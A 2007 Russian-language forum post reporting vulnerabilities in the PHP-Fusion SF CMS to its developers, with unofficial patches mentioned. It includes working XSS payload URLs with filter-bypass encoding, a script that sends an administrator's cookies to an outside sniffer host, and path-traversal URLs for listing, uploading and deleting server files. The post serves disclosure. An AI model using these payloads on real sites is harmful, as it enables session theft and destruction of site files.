Ряд уязвимостей - PHP-Fusion SF Russian Support Site

Регистрация

Забыли пароль?

Правила форума

FAQ (читать перед созданием новой темы)

Просмотр темы

Вернуться на сайт: PHP-Fusion SF Russian Support Site

Форум поддержки PHP-Fusion SF | PHP-Fusion SF - Система Управлением Сайта | Ошибки / Bugs Reports

# 1 Тема: Ряд уязвимостей

Дмитрий
Пользователь

Avatar пользователя

новичек

Сообщений: 6
Зарегистрирован: 08 Мая 2007, 16:00:30
Сказали спасибо 0 раз
Статус: offline

Опубликовано 08 Мая 2007, 16:42:36

Лазил я по вашим исходникам (не по всем, я пропустил форум и некоторые скрипты админки- не могу уже тошнит от них)... вот краткий список уязвимостей:

1) XSS в переменной title в скрипте subheader.php
Да я согласен все параметры передаваяемые методом ГЕТ фильтруются но эти фильтры легко обойти, вот так(собственно это можно назвать эксплоитом :):

http://site/?title=XSS</title><body onload=javascri%26%23%31%31%32%26%23%31%31%36:alert%26%23%34%30'xss'%26%23%34%31>/code]

Уязвимый код:

[code]...

echo "<title>".$title.$settings['sitename']."</title>

...

Переменная title не фильтруется никак...

2) XSS в переменной loginerror в скрипте ser_info_panel\user_info_panel.php
Эксплоит:

http://site/?loginerror=<img%20src=javascri%26%23%31%31%32%26%23%31%31%36:alert%26%23%34%30'xss'%26%23%34%31%20w

idth=1>

Уязвимый код:

...

echo "<div align='center'>".(isset($loginerror) ? $loginerror : "")."

...

Опять же отсутствие фильтрации :(

3) Трудно определить к какой либо категрии третью уязвимость, да и можно ли вообще это назвать уязвимостью, но таким способом украсть куки легче всего...
Если загрузить фотографию ("Добавить фотографию") на какойто сайт то, в админ панели пояаляется ссылка "Нажмите сюда чтобы просмотреть фотографию" Всебы хорошо если загружается нормальная фотография, но не задавались ли вы таким вопросом что будет при просмотре фотогорафии админом с содержнием:

<img src=002.gif name='img_flag2'>

<script>document.images['img_flag2'].src=('http://test1.ru/sniff.php?c='+document.cookie)</script>

Вот вам почва к размышлению...

4)Здесь я объеденю корявости в админ панели (пускай требуются права администратора и рядом есть модуль "Панели" дающий выполнение любого php, кода кстати тоже очень опасно!, но все же...)
Рассмотрим скрипт image.php, опасный код в нем:

if ($ifolder == "images") { $afolder = IMAGES; }

elseif ($ifolder == "imagesn") { $afolder = IMAGES_N; }

elseif ($ifolder == "imagesnc") { $afolder = IMAGES_NC; }

elseif ($ifolder == "imagesa") { $afolder = IMAGES_A; }

Вроде бы все нормально, но что будет если переменной ifolder передать другое значение не предусмотренное в "ифах", тогда мы сможем присвоить переменной afolder любое значение, что приводит к просмотру листинга файлов на сервере и загрузке картинки в любой каталог(мелочь но все равно приятно) соответсвенно эксплоиты:

http://site/administration/images.php?ifolder=bla-bla-bla&afolder=../

<form name='uploadform' method='post' action='http://site/administration/images.php?&ifolder=bla-bla-bla&afolder=../&uploadimage=bla-bla-bla' enctype='multipart/form-data'>

<input type='file' name='myfile'>

<input type='submit' value='Загрузить картинку'>

</form>

И еще удаление любого каталога
Уязвимый код:

...

if (isset($del)) {

unlink($afolder."$del");

...

Эксплоит:

http://site/administration/images.php?del=../index.php

Ко всему указанному выше пока выпустил неофициальные заплатки смотреть в аттаче или здесь http://www.novor.info/patch_for_fusion.rar надеюсь разроботчики поспешат решить эти проблемы... :)

Теперь пожелания:

1) Приделайте картинку с подтверждением в "Обратная связь".
2) Также картинку с подтверждением и для зарегистрированных пользователей в Гостевой.

Остается похвалить разроботчиков, неплохая CMS, почти не уязвимая :), честно говоря был удивлен когда нашел эти уязвимости...

Прикрепленные файлы

Для просмотра вложения зарегистрируйтесь